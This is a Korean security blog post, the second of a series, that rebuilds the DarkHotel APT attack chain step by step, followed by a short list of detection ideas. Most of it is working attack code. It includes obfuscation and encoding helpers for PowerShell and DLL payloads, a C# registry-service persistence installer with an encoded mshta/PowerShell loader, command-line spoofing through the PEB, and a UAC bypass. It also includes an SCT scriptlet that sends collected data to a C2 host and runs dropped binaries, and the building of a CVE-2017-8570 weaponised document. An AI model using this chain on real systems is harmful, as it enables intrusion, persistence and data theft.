다크호텔 APT그룹 TTP 분석 - 파트 2

Disclaimer

이 글은 제가 다른 블로그 글들을 읽으면서 배운 것을 개인적으로 정리해놓은 글입니다. 이 글에 있는 모든 내용 및 코드는 이미 다른 사람들이 공개적으로 발표한 것들이며, 실제 상황에 쓰이기에 부족한 퀄리티의 개념 증명 (PoC)입니다. 글의 핵심 내용인 DarkHotel 그룹의 TTP는 ZScaler 사의 이 블로그 글을 바탕으로 쓰여졌습니다. There is no novel research/content in this blog post, nor do I claim any work in this blog post to be mine (it’s not). This post is just a personal study note that I use for personal reasons while I study others’ work. All credits go to ZScaler, not me.

들어가며

파트 1에서는 ZScaler사의 블로그글을 바탕으로 다크호텔 그룹의 TTP (Tactics, Techniques, Procedures; 전략, 전술, 과정)를 분석했다. 이번 파트 2에서는 직접 코드를 재현해본다. 익숙한 프로그래밍 언어의 차이도 있고, 소스코드를 100% 똑같이 재현 할 수는 없기 때문에 실제 TTP와 몇가지 다른 점들이 존재한다. 이 차이점은 TTP-개요 섹션에서 후술한다.  

이 글에서 나오는 모든 코드는 이 깃허브 리포에서 찾을 수 있다. 이 리포에는 페이로드와 페이로드를 작성하는데 필요한 유틸리티 스크립트들이 있다. 각 코드의 캡션에는 파일이름이 적혀져 있으니 전체 코드가 보고 싶다면 리포에서 해당 파일을 찾아 확인하면 된다.

이번에도 2일 동안 코드를작성하고 블로그 글을 써서 퀄리티가 별로다. 이 점 양해부탁드린다.

왜, Why?

오펜시브 시큐리티 업계와 실제 공격자들이 비슷한 공격 기법과 툴을 사용하는 것은 널리 알려진 사실이다. 공격자들이 업계에서 발표한 오픈소스 툴들을 실제 공격에 사용하는 경우도 많고, 업계가 실제 공격자들의 기법을 찾아내 연구 한 뒤, 그 탐지 방법과 대응 방법을 발표하는 경우도 많다.

공격자들의 TTP를 분석한 뒤 재현하는 것은 자칫 득보다 실이 더 많은 연구가 될 수 있다. 하지만 아래의 세 가지 이유 때문에 이 연구를 진행하기로 마음먹었다.

  1. 이번에 발표된 다크호텔 그룹의 TTP는 연습/개발 단계이며, 더 발전할 가능성이 있다고 생각된다. 그 이유에 대해선 파트 1에서 설명했다. 이 TTP가 더 발전하기 전에 이와 관련된 심층 있는 분석이 필요하다고 생각했다.
  2. 업계와 실제 공격자들의 TTP 차이점을 알아보기 위해서는 직접 만드는 것 만큼 더  효과적인 것이 없다. 보안을 하는 입장에서 실제 공격자들이 어떤 코드로 어떻게 공격하는지에 대해 분석 하는 것은 필수다.
  3. 분석하는 기법들에 관련된 자료와 소스코드는 이미 옛날부터 오픈소스화 되어 있다.

TTP 재현 - 개요

코드 재현 순서

분석은 스테이지 1부터 5까지 차례대로 진행했다면, 코드 재현은 거꾸로 스테이지 5부터 1까지 진행한다.

  • 스테이지 5 - .NET 다운로더: 다크호텔의 다운로더를 그대로 복사/붙여넣기 하는 것은 의미가 없기에 Covenant (코버넌트) C2 (Command-and-Control) 프레임워크의 에이전트를 쓴다.
  • 스테이지 4 - qq2688.exe: 다크호텔은 C/C++로 작성했지만, 이 글에서는 C#으로 작성한다.
  • 스테이지 3 - qq3104.exe: 다크호텔은 C/C++로 작성했지만, 이 글에서는 C#으로 작성한다.
  • 스테이지 2 - SCT 파일: 다크호텔의 SCT 파일을 역난독화 한 뒤, 필요한 코드를 수정한다.
  • 스테이지 1 - DOCX 파일: 다크호텔이 사용했던 예제 코드를 수정해 사용한다.

스테이지 5 - .NET 다운로더

다크호텔의 스테이지 5는 DLL 형태의 .NET 다운로더로, C2 서버에서 필요한 파일을 다운 받은 뒤 실행시키는 역할이였다. C#으로 만들어졌고, 난독화가 되지 않았기 때문에 파트 1에서 디컴파일을 해 소스코드를 확보했다. 이를 그대로 써도 되지만, 그러면 큰 의미가 없기 때문에 코드 재현은 다른 코드로 대체한다. 이 글에서는 Covenant(코버넌트) 라는 C2 프레임워크의 에이전트를 사용한다.

요즘 C2 프레임워크들에는 네트워크 트래픽을 바꿀 수 있는 Malleable C2 Profile 라는 기능이 있다. 코버넌트도 조금 부족하지만 어느정도 이 기능을 구현한다. 이를 이용해 다크호텔의 트래픽과 비슷하게 보이도록 네트워크 설정을 바꾼다.

다크호텔이 사용하던 /policy/v2.php, /mint/mvv.php 엔드포인트

다크호텔이 사용한 /policy/v2.php, /mint/mvv.php 등의 엔드포인트를 설정하고, POST 요청해서도 다크호텔이 사용하던 매개변수 이름인 ltc, mk 등을 설정한다.

나름 다크호텔의 네트워크 트래픽과 비슷해졌다 (나름)

이렇게 설정해주면 실제 다크호텔의 다운로더와 완전히 똑같지는 않지만, 나름 비슷한 네트워크 트래픽을 만들어낼 수 있다.

다크호텔의 다운로더와 마찬가지로 코버넌트의 에이전트도 C#으로 만들어졌다. 따라서 에이전트 파일을 만들때 출력 결과를 DynamicallyLinkedLibrary 로 설정해 DLL 파일을 얻을 수 있다.  

코버넌트의 에이전트 파일을 DLL로 설정해준다

이렇게 하면 비교적 간단하게 스테이지 5 다운로더를 만들어냈다.

스테이지 4 - qq2688.exe

qq2688.exe는 다음의 일을 수행한다:

  1. 360Tray.exe와 DSMain.exe 프로세스 실행 여부 및 방화벽 확인
  2. HKLM\\SYSTEM\\CurrentControlSet\\services\\X, HKLM\\SYSTEM\\CurrentControlSet\\services\\X\\x, HKLM\\SYSTEM\\CurrentControlSet\\services\\X\\s 등의 레지스트리 키와 서브키들을 생성한 뒤, 페이로드 삽입
  3. 스테이지 5의 .NET 다운로더 실행

다크호텔도 1번 정보를 갖고 별 다른 일을 하지 않기 때문에 생략한다. 윈도우 레지스트리 키를 생성하고, 페이로드를 삽입하는 2번과 3번에 집중한다.

윈도우 레지스트리 키에 들어가는 "s" 페이로드와 "x" 페이로드부터 먼저 만든다.

"s" 페이로드

다크호텔의 페이로드들은 레지스트리 키에 있는 16진수의 문자열을 읽어들여 아스키 문자열로 바꾸는 방법을 많이 사용한다. 따라서 파트 1에서 알아낸 다크호텔의 s 페이로드를 16진수로 바꾼 후 저장한다.

// s.ps1를 16진수 형태로 바꿔주자. 
$psSource = [system.io.file]::readalltext("C:\\dh\\s.ps1")
$psSource = $psSource.ToCharArray()

foreach ($element in $psSource) 
{ 
	$hexPayload = $hexPayload + " " + [System.String]::Format("{0:X2}", [System.Convert]::ToUInt32($element))
}
/utils/convertStoHex.ps1

"x" 페이로드

다크호텔의 x 페이로드는 원래 아래와 같은 코드였다.

// 1. $a 에 들어가있는 긴 문자열 
$a = " < .NET 다운로더를 Base64 시킨 형태 >"

// 2. 알수 없는 "36n98" 문자열
('36n98J32I61I32X36b97;32D45>114J101b112&108&97I99>101n32n39J64;39J44D39b54J39>59I36I99W32b61;32J36X98W32&45D99>114;101W112W108&97;99&101;32b39W35>39I44X39W65>39&59I36b100;32b61b32;36b99;32n45b114D101;112W108I97X99n101I32n39n45W39n44n39I43>39D59W36I68X101J102D108I97D116b101;83;116;114b101&97>109n32b61&32>78;101J119I45>79W98>106>101J99b116W32;73W79b46I67&111;109X112X114;101>115X115b105&111n110n46D68b101W102&108X97n116W101X83I116n114>101>97n109;40J91>73W79>46;77>101X109>111D114W121n83>116;114X101I97W109W93X91J67I111;110W118W101X114n116W93X58&58D70I114>111;109b66J97n115n101n54D52>83;116W114>105I110J103b40&36n100&41W44>91>73&79;46n67&111b109b112W114I101D115n115;105b111b110n46>67W111J109X112&114I101b115D115X105W111;110J77>111&100;101b93>58W58D68J101;99b111;109>112b114X101X115n115I41J59n36n98D117b102I102I101W114>32;61I32n78J101W119n45I79b98b106J101J99n116W32;66X121b116b101I91n93>40D56W55b48;52D41D59W36X68>101X102>108I97>116n101;83;116;114&101I97&109I46>82&101I97b100J40n36D98n117I102>102J101X114J44W32&48&44D32n56W55D48;52&41n32;124b32&79X117>116b45I78>117D108>108X59J91n82n101I102&108I101W99b116b105I111D110W46&65>115D115>101b109W98b108n121J93b58&58W76X111;97>100I40&36I98J117;102X102b101;114D41D32D124J32n79>117b116J45J78n117J108&108&59W36&79>98D106W32D61n32W78n101&119b45J79&98W106D101X99>116D32I108W105X98b49J46D67&108b97I115I115&49n59W36X79&98;106&46D115D116b97X116D40W41'.spLIt( 'n&bDWXJ>I;') | % {([INt] $_ -aS[cHaR])} ) -jOiN''|&( ([stRinG]$verboSEPREFeRENce)[1,3]+'x'-JOin'')

--- 

# ^ 위 "36n98" 문자열을 실행하면 다음 파워쉘 코드가 나온다 

# $a 문자열 역난독화. 이는 최종적으로 $d에 저장. 
$b = $a -replace '@','6';$c = $b -creplace '#','A';$d = $c -replace '-','+';

# $a 문자열 base64 디코딩 + Decompress 한 뒤 $buffer에 저장 
$DeflateStream = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($d),[IO.Compression.CompressionMode]::Decompress);
$buffer = New-Object Byte[](8704);$DeflateStream.Read($buffer, 0, 8704) | Out-Null;

# $buffer를 메모리에 로드한 뒤 DLL의 오브젝트 생성, stat() 함수 실행 
[Reflection.Assembly]::Load($buffer) | Out-Null;
$Obj = New-Object lib1.Class1;$Obj.stat()
다크호텔의 "x" 페이로드를 역난독화 한 코드

여기서 두 가지를 바꿔야한다. 첫째, $a 변수안에 다크호텔의 .NET 다운로더가 있는게 아니라 위에서 만든 스테이지 5의 DLL이 들어가야한다. 그러기 위해선 에이전트 DLL 파일을 먼저 Compress 한 뒤, base64 형태로 바꾸고, 마지막으로 역난독화를 생각해 난독화를 진행한다. $a 를 만드는 법은 다음과 같다:

# Source: https://github.com/PowerShellMafia/PowerSploit/blob/master/ScriptModification/Out-CompressedDll.ps1

# DLL 파일 읽은 뒤 "압축" (Compress)
$FileBytes = [system.io.file]::readallbytes("C:\\dh\\darkhotel-downloader.dll")
$Length = $FileBytes.Length
$CompressedStream = New-Object IO.MemoryStream
$DeflateStream = New-Object IO.Compression.DeflateStream ($CompressedStream, [IO.Compression.CompressionMode]::Compress)
$DeflateStream.Write($FileBytes, 0, $FileBytes.Length)
$DeflateStream.Dispose()
$CompressedFileBytes = $CompressedStream.ToArray()
$CompressedStream.Dispose()

# 압축된 스트림을 base64 인코딩 
$d = [Convert]::ToBase64String($CompressedFileBytes)

# 다크호텔식 역난독화를 의식해 거꾸로 난독화 실행  
$c = $d -replace [RegEx]::Escape('+'), '-'
$b = $c -creplace 'A','#'
$a = $b -replace '6','@'
/utils/xPayload-helper1.ps1

두번째, 마지막 $Obj = New-Object lib1.Class1;$Obj.stat() 코드도 코버넌트의 에이전트에 관련된 코드로 바꿔야한다. 네임스페이스와 클래스는 GruntStager로, 함수는 Execute() 로 바꾼다. 따라서 마지막 줄을 $Obj = New=Object GruntStager.GruntStager;$Obj.Execute() 로 바꾼후, 다시 36n98... 형태의 문자열이 되도록 난독화해야한다. 이는 다음의 파워쉘 코드로 만들 수 있다.

# C:\\dh\\xSecondPart.txt 파일에 바뀐 파워쉘 코드 저장. 

$b = $a -replace '@','6';$c = $b -creplace '#','A';$d = $c -replace '-','+';$DeflateStream = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($d),[IO.Compression.CompressionMode]::Decompress);$buffer = New-Object Byte[](11776);$DeflateStream.Read($buffer, 0, 11776) | Out-Null;[Reflection.Assembly]::Load($buffer) | Out-Null;$Obj = New-Object GruntStager.GruntStager;$Obj.Execute()


--- 

# 아래의 파워쉘을 실행시켜 난독화 실행 
$secondPart = [system.io.file]::readalltext("C:\\dh\\xSecondPart.txt")
$charArray = $secondPart.ToCharArray()
$result = ""

foreach ($char in $charArray){
	$result += [string][int]$char + $( @('n','&','b','D','W','X','J','>','I',';') | Get-Random)
}
/utils/xPayload-helper2.ps1

$a 와 36n98 문자열을 모두 바꿨다면 이들을 x.ps1 파일에 넣어 수정한 후, 16진수 형태로 바꾼다.

sx 페이로드가 다 수정됐다면, qq2688.exe 을 만들면 된다. 레지스트리 키를 만든 뒤 위에서 만든 s, x 페이로드들을 넣어주면 된다. 위에서 언급했듯 생략되지 않은 코드는 이 깃헙 리포에서 찾을 수 있다.

< ... PInvoke 관련 코드, 생략 ... >

public static bool setRegistryKeyValue(string registryPath, string valName, object value, RegistryValueKind type)
{
   	< ... RegSetValueExW를 도와주는 함수. 생략 ... >
}

static void Main(string[] args)
{
    // 0. Check 360Tray, qqpctray, DSMain, etc. 
    Process[] processList = Process.GetProcesses();
    foreach (var process in processList)
    {
        if (process.ProcessName.ToLower().Contains("360tray.exe"))
        {
            // DH doesn't do much with it, so I'm not going to do much with it 
            Console.WriteLine("[!] 360Tray.exe found");
        }
        else if (process.ProcessName.ToLower().Contains("DSMain.exe"))
        {
            // DH doesn't do much with it, so I'm not going to do much with it 
            Console.WriteLine("[!] DSMain.exe found");
        }
    }


    // 1. Create "X" service in windows registry 
    SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();
    int createKeyResult = RegCreateKeyEx(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\services\\X", IntPtr.Zero, string.Empty, RegOption.NonVolatile, RegSAM.AllAccess, ref sa, out IntPtr phkResult, out RegResult regResult);

    if (createKeyResult != 0)
    {
        Console.WriteLine("[-] RegCreateKeyEx failed {0}", Marshal.GetLastWin32Error());
        System.Environment.Exit(1);
    }
    Console.WriteLine("[+] Created RegCreateKeyEx \\X");

    // Typo in "Discription", but the original qq2688.exe also had that 
    string registryPath = "SYSTEM\\CurrentControlSet\\Services\\X";
    setRegistryKeyValue(registryPath, "Dscription", "LocalSystem", RegistryValueKind.String);
    setRegistryKeyValue(registryPath, "DisplayName", "LocalSystem", RegistryValueKind.String);
    setRegistryKeyValue(registryPath, "ObjectName", "LocalSystem", RegistryValueKind.String);
    setRegistryKeyValue(registryPath, "ErrorControl", 0, RegistryValueKind.DWord);
    setRegistryKeyValue(registryPath, "Start", 2, RegistryValueKind.DWord);
    setRegistryKeyValue(registryPath, "Type", 16, RegistryValueKind.DWord);

    string payload = @"mshta.exe vbscript:Execute(""Dim s, p:Set s=CreateObject(""""WScript.Shell""""):p=""""powershell -encodedcommand JABoAD0AKABnAHAAIABIAEsATABNADoAXABTAFkAUwBUAEUATQBcAEMAdQByAHIAZQBuAHQAQwBvAG4AdAByAG8AbABTAGUAdABcAFMAZQByAHYAaQBjAGUAcwBcAFgAIAAiAHMAIgApAC4AcwA7ACQAaAAuAFMAcABsAGkAdAAoACIAIAAiACkAfABmAG8AcgBFAGEAYwBoAHsAWwBjAGgAYQByAF0AKABbAGMAbwBuAHYAZQByAHQAXQA6ADoAdABvAGkAbgB0ADEANgAoACQAXwAsADEANgApACkAfQB8AGYAbwByAEUAYQBjAGgAewAkAHIAPQAkAHIAKwAkAF8AfQA7AGkAZQB4ACAAJAByADsA"""":s.Run p,0,true:close"")";
    setRegistryKeyValue(registryPath, "ImagePath", payload, RegistryValueKind.String);

    // 2. Create "s" value name 
    string sHexPayload = "24 53 6F 75 72 63 65 < ... 생략 ...>";
    setRegistryKeyValue(registryPath, "s", sHexPayload, RegistryValueKind.String);

    // 3. Create "x" value name 
    string xHexPayload = "24 53 6F 75 72 <... 생략 ...> ";
    setRegistryKeyValue(registryPath, "x", xHexPayload, RegistryValueKind.String);
}
/SharpDarkHotel/SharpQQ2688/Program.cs

중국 백신 프로세스들을 체크한 뒤, 윈도우 서비스 레지스트리 키를 만든다. X 레지스트리 키로 생성한 뒤 ImagePath 안에 VBScript 페이로드를 넣는다. 이 VBScript는 s서브키에 들어가 있는 두번째 페이로드를 읽은 뒤 실행하고, 이 두번째 페이로드는 x 서브키에 들어가 있는 세번째 페이로드를 읽고 실행한다.

마지막으로 x 서브키에 들어가 있는 세번째 페이로드가 바로 스테이지 5의 .NET 다운로더 (코버넌트 에이전트)다.

스테이지 3 - qq3104.exe

qq3104.exe는 다음의 일을 수행한다:

  1. 커맨드라인 스푸핑 - PEB 구조를 이용해 커맨드라인을 explorer.exe로 변경한다. (하지만 파트 1에서 설명했듯 효과나 의미는 없는 커맨드라인 스푸핑이다)
  2. UAC (User Access Control) 우회 - Elevation Moniker 를 이용해 취약한 COM 파일들을 찾아 UAC 우회를 진행한다.
  3. qq2688.exe를 실행한다.

Elevation Moniker를 이용하는 UAC 우회의 경우 모든 PoC가 C로 작성되어 있고, 이를 C#으로 포팅하기엔 너무 시간이 오래 걸릴 것 같았다. 어쨌든 UAC 우회만 가능하면 됐기 때문에 최신 윈도우 10버전에서도 유효한 ComputerDefaults UAC 우회 개념증명 코드를 찾아 그것을 사용했다.

커맨드라인 스푸핑은 PEB 구조에서 RTL_USER_PROCESS_PARAMETERS > CommandLine > Buffer 를 찾아 수정하는 방법으로 이뤄진다. 코드는 다음과 같다:

public static void spoofCmdLine()
{
    // Open Process and get PEB 
    var hProc = OpenProcess(0x001F0FFF, true, Process.GetCurrentProcess().Id);

    PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();
    uint temp = 0;
    ZwQueryInformationProcess(hProc, 0, ref bi, (uint)(IntPtr.Size * 6), ref temp);

    // Get pointer & address of rtluserparam by adding 0x10 
    IntPtr rtlUserParamPtr = (IntPtr)((Int64)bi.PebAddress + 0x10);
    Console.WriteLine("[+] RTL_USER_PROCESS_PARAM Address: 0x{0}", rtlUserParamPtr.ToInt64().ToString("x2"));

    byte[] rtlUserParamAddr = getValueFromPointer(hProc, rtlUserParamPtr, IntPtr.Size);
    Console.WriteLine("[+] RTL_USER_PROCESS_PARAM Value: {0}", ByteArrayToString(rtlUserParamAddr));

    // Get commandline, max length, buffer from RTL_USER_PROC_PARAM 
    byte[] cmdLineAddr = addMemory(rtlUserParamAddr, 0x40);
    byte[] bufferMaxLengthAddr = addMemory(rtlUserParamAddr, 0x42);
    byte[] bufferAddr = addMemory(rtlUserParamAddr, 0x44);
    int bufferMaxLength = (int)getValueFromAddr(hProc, bufferMaxLengthAddr, 1)[0];
    
    Console.WriteLine("[+] cmdLineAddr: {0}", ByteArrayToString(cmdLineAddr));
    Console.WriteLine("[+] bufferMaxLengthAddr: {0}", ByteArrayToString(bufferMaxLengthAddr));
    Console.WriteLine("[+] bufferAddr: {0}", ByteArrayToString(bufferAddr));

    // Print previous commandline buffer - should be something\\SharpQQ3104.exe 
    byte[] bufferValue = getValueFromAddr(hProc, bufferAddr, IntPtr.Size);
    IntPtr bufferPtr = new IntPtr(BitConverter.ToInt32(bufferValue, 0));
    byte[] bufferContent = new byte[bufferMaxLength];
    bufferContent = getValueFromPointer(hProc, bufferPtr, bufferContent.Length);
    
    Console.WriteLine("\n[+] Previous command line buffer: {0}", Encoding.ASCII.GetString(bufferContent));

    // Zero-out previous commandline buffer 
    byte[] zeroOut = new byte[bufferMaxLength];
    WriteProcessMemory(hProc, bufferPtr, zeroOut, zeroOut.Length, out IntPtr nWrite);

    // Overwrite new commandline string - C:\\windows\\explorer.exe 
    byte[] spoofPayload = Encoding.Unicode.GetBytes("c:\\Windows\\explorer.exe");
    WriteProcessMemory(hProc, bufferPtr, spoofPayload, spoofPayload.Length, out IntPtr nWrite2);

    // Validate the new commandline string 
    bufferContent = getValueFromPointer(hProc, bufferPtr, bufferMaxLength);
    Console.WriteLine("[+] Overwritten command line buffer: {0}", Encoding.ASCII.GetString(bufferContent));
}
/SharpDarkHotel/ShapQQ3104/Program.cs

먼저 현재 프로세스에서 PEB를 찾은 뒤 0x10 를 더해 RTL_USER_PROCESS_PARAMETER 를 찾는다. 그 뒤 0x40, 0x42, 0x44 를 각각 더해 CommandLine, MaxLength, Buffer 를 찾아낸다. 마지막으로 Buffer를 0으로 덮은 뒤 스푸핑 할 문자열인 c:\windows\explorer.exe 로 덮어씌운다.

SharpQQ3104.exe를 실행시키면 커맨드라인 스푸핑이 성공적으로 이뤄진 것을 확인할 수 있다.

PS C:\dev\SharpDarkHotel\SharpQQ3104\bin\Debug> .\SharpQQ3104.exe

[+] RTL_USER_PROCESS_PARAM Address: 0x511010
[+] RTL_USER_PROCESS_PARAM Value: 0x007E1B08
[+] cmdLineAddr: 0x007E1B48
[+] bufferMaxLengthAddr: 0x007E1B4A
[+] bufferAddr: 0x007E1B4C

[+] Previous command line buffer: "C:\dev\SharpDarkHotel\SharpQQ3104\bin\Debug\SharpQQ3104.exe"
[+] Overwritten command line buffer: c:\Windows\explorer.exe
SharpQQ3104.exe 실행 화면

스테이지 2 - SCT 파일

qq2688.exe 와 qq3104.exe 페이로드의 준비가 끝났다. 이제 이 두 페이로드를 실행시킬 SCT 파일이 필요하다. 파트 1에서 역난독화한 다크호텔의 SCT 파일을 사용한다. SCT 파일에서 중요한 VBScript 부분은 다음과 같다:

Set xmlHttp = CreateObject("MSXML2.ServerXMLHTTP")

xmlHttp.Open "POST", "http://192.168.40.128/cta/key.php", False
xmlHttp.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
xmlHttp.send "L=G641giQQOWUiXE&q=" + Base64Encode(strList)
Set xmlHttp = Nothing

Const qgkao = """"
Set wShell = CreateObject("WScript.Shell")
Set shellEnv = wShell.Environment("Process")
envTemp = shellEnv("TEMP")
envLocalAppData = shellEnv("LOCALAPPDATA")
envAppData = shellEnv("APPDATA")

StartupPath = envAppData & "\mIcrOsoft\winDows\starT meNu\progRams\startup\"
peerdistPath = envLocalAppData & "\PeerDistRepub\"
Set fxo = CreateObject("Scripting.FileSystemObject")
Set fso = CreateObject("Scripting.FileSystemObject")
Set aconf = GetObject("winmgmts:Win32_NetworkAdapterConfiguration")

If Not fxo.FolderExists(peerdistPath) Then
    fxo.CreateFolder peerdistPath
End If

If Not fxo.FileExists(peerdistPath & "msrvcd32.exe") Then
    RetVal = aconf.ReleaseDHCPLeaseAll
    
    fxo.CopyFile envTemp & "\p", peerdistPath & "SharpQQ3104.exe", True
    fxo.CopyFile envTemp & "\b", peerdistPath & "SharpQQ2688.exe", True
    
    Set f1 = fso.CreateTextFile(peerdistPath & "qq3104.exe:Zone.Identifier", True)
    f1.WriteLine "[ZoneTransfer]" & vbNewLine & "ZoneId=1"
    f1.Close
    
    Set f2 = fso.CreateTextFile(peerdistPath & "qq2688.exe:Zone.Identifier", True)
    f2.WriteLine "[ZoneTransfer]" & vbNewLine & "ZoneId=1"
    f2.Close

    intReturn = wShell.Run(peerdistPath & "qq3104.exe", 0, True)
    intReturn = wShell.Run("cmd /cipconfig /renew", 0, True)
    
End If
    
Set wShell = Nothing
Set aconf = Nothing
/payloads/googleofficechk.sct

크게 바뀐 점은 없다. 다크호텔의 SCT 파일을 역난독화 한 뒤, qq2688.exe, qq3104.exe 를 언급하는 코드에서 파일 이름만 SharpQQ2688.exe, SharpQQ3104.exe 로 바꿨다.

스테이지 1 - 문서형 악성코드

qq2688.exe, qq3104.exe 페이로드와 이를 실행시켜줄 SCT 파일의 준비가 끝났다. 이제 이 3개의 페이로드를 RTF 문서에 넣은 뒤, 이 RTF 문서를 DOCX 문서에 넣고, 또 이 DOCX 문서를 최종 DOCX 문서에 넣으면 끝난다.

먼저 2개의 바이너리와 SCT 파일을 RTF 문서에 포함하기 위해 CVE-2017-8570 PoC를 사용한다.

PS C:\dh\CVE-2017-8570> python2.exe .\packager_composite_moniker.py -s ..\googleofficechk.sct -o ../afchunk.rtf
[+] RTF file written to: ../afchunk.rtf
CVE-2017-8570로 첫번째 RTF문서를 생성

이제 이 RTF 문서와 SharpQQ2688.exe, SharpQQ3104.exe파일을 포함한 또 다른 RTF 문서를 합한다. RTF 문서는 파일 포멧이 문자열로 이뤄졌기 때문에 복사/붙여넣기를 하면 된다. 다음 스크린샷은 2688.exe, 3104.exe, SCT 파일, CVE-2017-8570 페이로드까지 총 4개의 오브젝트 ( object )를 합친 RTF 문서의 일부다.

Control+F 를 해서 object를 검색해보면 총 4개가 나온다

이제 이  RTF 파일을 DOCX 문서에 altchunk 를 이용해 포함시킨다. 마이크로소프트 사의 예제 코드를 조금 수정해 실행한다.

public static void altChunkEmbed(string fileName1, string fileName2, string type)
{
    string testFile = @"c:\dh\final-test.docx";
    File.Delete(fileName1);
    File.Copy(testFile, fileName1);

    using (WordprocessingDocument myDoc =
WordprocessingDocument.Open(fileName1, true))
    {
        Random rnd = new Random();
        string altChunkId = "AltChunkId" + rnd.Next(1, 1000).ToString();
        MainDocumentPart mainPart = myDoc.MainDocumentPart;

        AlternativeFormatImportPart chunk = null; 
        if (type.ToLower() == "docx")
        {
            chunk = mainPart.AddAlternativeFormatImportPart(AlternativeFormatImportPartType.WordprocessingML, altChunkId);
        }
        else if(type.ToLower() == "rtf")
        {
            chunk = mainPart.AddAlternativeFormatImportPart(AlternativeFormatImportPartType.Rtf, altChunkId);
        }
        else
        {
            Console.WriteLine("[-] Type needs to be either docx or rtf. Exiting.");
            Environment.Exit(1);
        }


        using (FileStream fileStream = File.Open(fileName2, FileMode.Open))
            chunk.FeedData(fileStream);
        AltChunk altChunk = new AltChunk();
        altChunk.Id = altChunkId;
        mainPart.Document
            .Body
            .InsertAfter(altChunk, mainPart.Document.Body
            .Elements<Paragraph>().Last());


        mainPart.Document.Save();
    }
}
/SharpAltChunk/Program.cs

이를 실행하면, 다음과 같은 화면이 나오고, 최종 페이로드인 final.docx 문서가 완성된다.

TTP 실행

처음 TTP를 실행하면 CVE-2017-8570로 인해 SharpQQ2688.exe, SharpQQ3104.exe가 디스크에 드랍된 후 실행된다. 실행된 뒤 레지스트리 키가 생성된 것을 볼 수 있다.

다크호텔 TTP 실행 - 1 

이후 재부팅을 하면 레지스트리 키에서 설정했던 윈도우 서비스의 ImagePath, x, s 를 거쳐 최종적으로 코버넌트의 에이전트가 실행된다.

재부팅 후 로그인을 하면 C2 통신이 성립된다

탐지/대응 방법

파트 1에서도 언급했듯, 고급 TTP가 아니기 때문에 탐지와 대응할 수 있는 방법은 너무나도 많다. TTP를 제작한 뒤 실행해봤으니, 피해자 머신에는 어떤 아티팩트가 남았는지 확인해본다.

  1. %LocalAppData% 에 복사된 바이너리 파일들을 탐지할 수 있다.

2. OLE (Object Linking and Embedding)로 포함시킨 파일의 경우 DOCX 문서가 열릴 때 %TEMP% 폴더에 파일들이 드랍된다. /p, /b, googleofficechk.sct 파일들을 탐지할 수 있다.

3. qq2688.exe 로 레지스트키를 생성했으니, 레지스트리 키를 확인해서 탐지할 수도 있다.

4. 파트 1에서도 언급했지만, 다크호텔이 사용한 CVE-2017-8570의 SCT 예제 코드안에 들어가 있는 메타데이터 문자열을 탐지하는 방법도 있다.

PS C:\Users\Administrator\AppData\Local\Temp> cat .\googleofficechk.sct
<?XML version="1.0"?>
<scriptlet>

<registration
    description="fjzmpcjvqp"
    progid="fjzmpcjvqp"
    version="1.00"
    classid="{204774CF-D251-4F02-855B-2BE70585184B}"
    remotable="true"
        >
</registration>

< ... 생략 ... > 

5. 좀 어이없지만, 워드 2013 이상의 버전을 쓰면 아예 TTP 자체를 막을 수 있다. 개인적으로 테스트 했을 때 워드 2016 이상의 워드를 쓰면 CVE-2017-8570 악용이 불가능 했다.

6. 네트워크 트래픽이 HTTP기 때문에 네트워크 트래픽 감지나 포워드 프록시를 사용하는 모든 단체들은 트래픽 탐지가 가능할 것이다.

이 외에도 탐지/대응하는 방법은 정말로 많다.

마치며

이렇게 2일 동안 다크호텔의 새로운 TTP를 분석하고, 코드 재현을 한 뒤, 블로그 글 작성까지 해봤다. 파트 1에서 언급했던 것처럼 퀄리티를 봤을 때 이 TTP가 정말로 2021년도에 만들어 졌는지는 모르겠다. 하지만 실제 공격자들이 어떤 코드로 어떤 TTP를 구현해서 공격하는지 알아볼 수 있는 좋은 연구였다. 탐지/대응 방법에 대해서도 간단하게 알아봤다.

공개한 모든 코드는 PoC라고 부르기도 민망한 퀄리티의, 실제로 사용하기 힘든 코드다. 또한, 페이로드가 내 가상 환경에 맞춰져 있기 때문에 실 공격에 사용될 수 없다. 또한, 모든 코드와 바이너리 파일은 악용을 막기 위해 모두 바이러스 토탈에 올려 파일 해시를 공개했다.

이 연구가 추후 다른 공격을 방어하거나 TTP를 연구하는데 도움이 되었으면 하며 글을 마친다.

Happy Hacking! (and happy new year!)

Reference

New DarkHotel APT attack chain identified | Zscaler
ThreatLabz identified a previously undocumented variant of an attack-chain used by the South Korea-based Dark Hotel APT group.
GitHub - rxwx/CVE-2017-8570: Proof of Concept exploit for CVE-2017-8570
Proof of Concept exploit for CVE-2017-8570. Contribute to rxwx/CVE-2017-8570 development by creating an account on GitHub.
GitHub - ChoiSG/DarkhotelTTPReplica: Repo containing TTP and utility scripts that (mostly) replicates Darkhotel APT’s TTP that was discovered in Nov. 2021 by ZScaler
Repo containing TTP and utility scripts that (mostly) replicates Darkhotel APT&#39;s TTP that was discovered in Nov. 2021 by ZScaler - GitHub - ChoiSG/DarkhotelTTPReplica: Repo containing TTP and u...
Show Comments